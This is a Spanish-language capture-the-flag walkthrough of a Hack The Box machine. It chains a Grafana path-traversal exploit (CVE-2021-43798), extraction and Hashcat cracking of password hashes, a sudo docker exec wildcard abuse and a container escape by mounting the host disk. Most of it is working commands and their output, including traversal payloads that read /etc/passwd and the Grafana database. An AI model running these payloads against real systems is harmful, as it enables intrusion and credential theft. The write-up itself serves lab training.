Enumeración
Nuestra fase de reconocimiento comenzó validando la conectividad con el objetivo. El TTL=63 del paquete ICMP nos indicó de inmediato que nos enfrentábamos a un sistema operativo Linux. Al realizar el escaneo de puertos con Nmap, descubrimos los puertos 22 (SSH) y 3000, el cual albergaba un servicio web corriendo Grafana.
Al investigar la versión de Grafana, descubrimos que era vulnerable a un Arbitrary File Read (CVE-2021-43798) mediante Path Traversal. Explotamos esta vulnerabilidad para leer archivos internos del servidor y descargar la base de datos principal de Grafana (grafana.db). Tras inspeccionar la base de datos localmente usando SQLite, logramos extraer los hashes y salts criptográficos de los usuarios admin y boris. Identificamos el algoritmo PBKDF2-HMAC-SHA256, por lo que escribimos un script en Python para formatear los datos de boris a una estructura compatible con Hashcat. Utilizando el diccionario rockyou.txt, logramos crackear la contraseña (beautiful1), obteniendo así nuestro acceso inicial a través de SSH.
# Inicializar la estructura de directorios y establecer la variable global $IP
┌──(jquirozz㉿jquirozz.com)-[~]
└─$ htb-init data 10.129.234.47
Target IP globally set to: 10.129.234.47
# [-c 1] Enviar exactamente 1 paquete ICMP
# Comprobar la conexión y el ttl=63 que confirma casi con seguridad un sistema Linux
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ ping -c 1 $IP
64 bytes from 10.129.234.47: icmp_seq=1 ttl=63 time=116 ms
# [-p-] Escanear los 65535 puertos
# [-n] Desactivar resolución DNS para agilizar el escaneo
# [-sS] Escaneo TCP SYN (Stealth)
# [-Pn] Omitir el descubrimiento de host (No ping)
# [--min-rate=5000] Enviar al menos 5000 paquetes por segundo
# [-oG] Guardar el output en formato Grepeable
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ sudo nmap -p- -n -sS -Pn --min-rate=5000 $IP -oG nmap/allPorts
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
# Extraer y copiar al portapapeles los puertos abiertos encontrados en el escaneo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ extractPorts nmap/allPorts
[*] IP Address: 10.129.234.47
[*] Open ports: 22,3000
[!] Ports copied to clipboard
# [-p...] Escanear específicamente los puertos descubiertos
# [-sCV] Combinación para ejecutar scripts por defecto (-sC) y enumerar versiones (-sV)
# [-oN] Guardar el output en formato Nmap normal
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ sudo nmap -p22,3000 -sCV --min-rate=5000 $IP -oN nmap/versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA)
| 256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA)
|_ 256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519)
3000/tcp open http Grafana http
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Grafana
|_Requested resource was /login
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Detectamos que la versión de Grafana es vulnerable a CVE-2021-43798 (Path Traversal)
# [--path-as-is] Evita que curl normalice o resuelva los "../", permitiendo enviar el payload directamente al servidor
# Extraemos el archivo os-release para descubrir que la aplicación corre bajo Alpine Linux (típico de contenedores Docker)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../etc/os-release"
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.13.5
PRETTY_NAME="Alpine Linux v3.13"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"
# Intento fallido de enumerar los puertos TCP internos (Go lanza un error porque no puede medir el tamaño de los pseudo-archivos en /proc)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../proc/net/tcp"
seeker cant seek
# Extraer el archivo /etc/passwd del servidor y guardarlo localmente para futura enumeración
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ curl --path-as-is http://$IP:3000/public/plugins/alertlist/../../../../../../../../etc/passwd > content/passwd
# Extraer la base de datos principal de Grafana (donde residen credenciales y configuraciones) y guardarla localmente
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ curl --path-as-is http://$IP:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db > content/grafana.db
Explotación
Con la base de datos grafana.db en nuestra máquina atacante, procedimos a inspeccionarla de forma offline utilizando SQLite. Al consultar la tabla de usuarios, logramos extraer los hashes y salts criptográficos de las cuentas admin y boris.
Identificamos que el sistema utilizaba el algoritmo PBKDF2-HMAC-SHA256 para proteger las contraseñas. Como Grafana almacena el salt en una columna separada, escribimos un script personalizado en Python para codificar y concatenar estas variables al formato estricto requerido por Hashcat. Tras preparar el archivo, lanzamos un ataque de fuerza bruta utilizando el diccionario rockyou.txt y logramos descifrar la contraseña del usuario boris (beautiful1). Con esta credencial, obtuvimos acceso inicial seguro al servidor mediante SSH.
# Acceder a la base de datos SQLite extraída para explorarla offline
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ sqlite3 content/grafana.db
sqlite> .tables
alert login_attempt
alert_configuration migration_log
alert_instance org
alert_notification org_user
alert_notification_state playlist
alert_rule playlist_item
alert_rule_tag plugin_setting
alert_rule_version preferences
annotation quota
annotation_tag server_lock
api_key session
cache_data short_url
dashboard star
dashboard_acl tag
dashboard_provisioning team
dashboard_snapshot team_member
dashboard_tag temp_user
dashboard_version test_data
data_source user
library_element user_auth
library_element_connection user_auth_token
# Realizar una consulta SQL para extraer el email, la contraseña hasheada y el salt de la tabla de usuarios
sqlite> SELECT email,password,salt FROM user;
admin@localhost|7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S
boris@data.vl|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl
# Crear un script en Python (format2decrypt.py) para transformar los datos extraídos al formato que Hashcat entiende
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ nano scripts/format2decrypt.py
"""
import base64
import binascii
def convert_grafana_hash(hash_hex, salt):
iterations = 10000
# Convertir el hash de formato Hexadecimal a bytes, y luego codificarlo en Base64
hash_bytes = binascii.unhexlify(hash_hex)
hash_b64 = base64.b64encode(hash_bytes).decode('utf-8')
# Convertir exclusivamente el salt criptográfico a Base64
salt_b64 = base64.b64encode(salt.encode('utf-8')).decode('utf-8')
# Formatear la cadena final siguiendo las especificaciones del módulo PBKDF2 de Hashcat
formatted_hash = f"sha256:{iterations}:{salt_b64}:{hash_b64}"
print(formatted_hash)
# Ingresamos los parámetros exactos del usuario Boris extraídos de la base de datos
convert_grafana_hash(
"dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8",
"LCBhdtJWjl"
)
"""
# Ejecutar el script y guardar la salida (el hash compatible con Hashcat) en un archivo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ python3 scripts/format2decrypt.py > content/boris_hash
# [-m 10900] Especificar el módulo en Hashcat para PBKDF2-HMAC-SHA256 (algoritmo usado por Grafana)
# Crackear el hash usando el diccionario rockyou.txt
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ hashcat -m 10900 content/boris_hash /usr/share/wordlists/rockyou.txt
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1
# Con la contraseña descifrada (beautiful1), podemos acceder a la cuenta de Grafana, pero no hay nada interesante
# Boris reutilizó la contraseña para SSH
┌──(jquirozz㉿jquirozz.com)-[~/HTB/data]
└─$ ssh boris@$IP
boris@data:~$ id
uid=1001(boris) gid=1001(boris) groups=1001(boris)
boris@data:~$ cat ~/user.txt
9e****************************ce
Escalada de Privilegios
Una vez con acceso a la máquina real como boris, comenzamos la enumeración para buscar vías de elevación de privilegios. Al verificar nuestros permisos de superusuario con sudo -l, encontramos una vulnerabilidad de configuración crítica: podíamos ejecutar el binario docker exec utilizando un comodín * como administrador y sin necesidad de contraseña.
Esta falla de diseño nos otorgaba la libertad de inyectar cualquier bandera en el comando. Listamos los procesos en segundo plano para obtener el ID exacto del contenedor de Grafana, e inyectamos la bandera -u 0 para forzar la obtención de una terminal interactiva como el usuario root dentro del contenedor. Al inspeccionar el entorno, descubrimos que se trataba de un contenedor privilegiado que tenía acceso de lectura a los dispositivos de bloque (el disco duro físico) del host /dev/sda1. Al montar esta partición internamente, creamos un puente que nos permitió saltar el aislamiento del contenedor y acceder sin restricciones al sistema de archivos de la máquina víctima, logrando leer exitosamente la flag de administrador.
# Filtrar el archivo passwd de la máquina host para ver usuarios interactivos
boris@data:~$ cat /etc/passwd | grep 'bash'
root:x:0:0:root:/root:/bin/bash
boris:x:1001:1001:,,,:/home/boris:/bin/bash
# Obtener información del Kernel y la versión exacta de Ubuntu
boris@data:~$ uname -a
Linux data 5.4.0-1103-aws # 111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
# Verificar permisos de ejecución como superusuario
# Descubrimos que boris puede ejecutar docker exec pasándole *CUALQUIER* parámetro extra (el comodín *)
boris@data:~$ sudo -l
Matching Defaults entries for boris on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on localhost:
(root) NOPASSWD: /snap/bin/docker exec *
# Mostrar los procesos actuales y filtrar por "docker" para extraer el ID único del contenedor activo
boris@data:~$ ps aux | grep docker
root 993 0.0 3.9 1422756 80908 ? Ssl 02:08 0:09 dockerd --group docker --exec-root=/run/snap.docker --data-root=/var/snap/docker/common/var-lib-docker --pidfile=/run/snap.docker/docker.pid --config-file=/var/snap/docker/1125/config/daemon.json
root 1199 0.1 2.1 1351056 43928 ? Ssl 02:08 0:33 containerd --config /run/snap.docker/containerd/containerd.toml --log-level error
root 1505 0.0 0.1 1152456 3316 ? Sl 02:08 0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root 1511 0.0 0.1 1152712 3248 ? Sl 02:08 0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip :: -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root 1527 0.0 0.4 712864 9004 ? Sl 02:08 0:02 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 -address /run/snap.docker/containerd/containerd.sock
472 1547 0.2 3.2 776412 66236 ? Ssl 02:08 0:41 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning
boris 3009 0.0 0.0 14860 1124 pts/0 S+ 07:53 0:00 grep --color=auto docker
# Explotar la regla sudo:
# [-u 0] Inyectamos esta flag para indicar a Docker que queremos entrar como el usuario Root
# [-it] Pedimos una consola interactiva lanzando /bin/ash
boris@data:~$ sudo /snap/bin/docker exec -u 0 -it e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/ash
# Confirmamos que nuestra consola interactiva ahora opera como Root dentro del contenedor aislado
/usr/share/grafana# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# Inspeccionamos los montajes de discos (Disk Free en modo "Human-readable")
# Descubrimos una severa mala configuración: el contenedor puede ver el disco duro real del Host (/dev/sda1)
/# df -h
Filesystem Size Used Available Use% Mounted on
overlay 4.8G 1.9G 2.8G 40% /
tmpfs 64.0M 0 64.0M 0% /dev
tmpfs 991.8M 0 991.8M 0% /sys/fs/cgroup
shm 64.0M 0 64.0M 0% /dev/shm
/dev/sda1 4.8G 1.9G 2.8G 40% /etc/resolv.conf
/dev/sda1 4.8G 1.9G 2.8G 40% /etc/hostname
/dev/sda1 4.8G 1.9G 2.8G 40% /etc/hosts
# Creamos un directorio que nos servirá como puente de conexión temporal (Punto de Montaje)
/# mkdir /mnt/host_root
# Montamos la partición primaria física de la máquina host en nuestra nueva carpeta local
/# mount /dev/sda1 /mnt/host_root
# Listamos la carpeta montada para confirmar el escape. Ahora visualizamos todo el árbol de archivos real de la máquina "Data"
/# ls -l /mnt/host_root
drwxr-xr-x 2 root root 4096 Apr 9 2025 bin
drwxr-xr-x 3 root root 4096 Jun 4 2025 boot
drwxr-xr-x 4 root root 4096 Nov 29 2021 dev
...
...
...
drwx------ 7 root root 4096 May 10 02:08 root
# Pwned!
/# cat /mnt/host_root/root/root.txt
c4****************************a7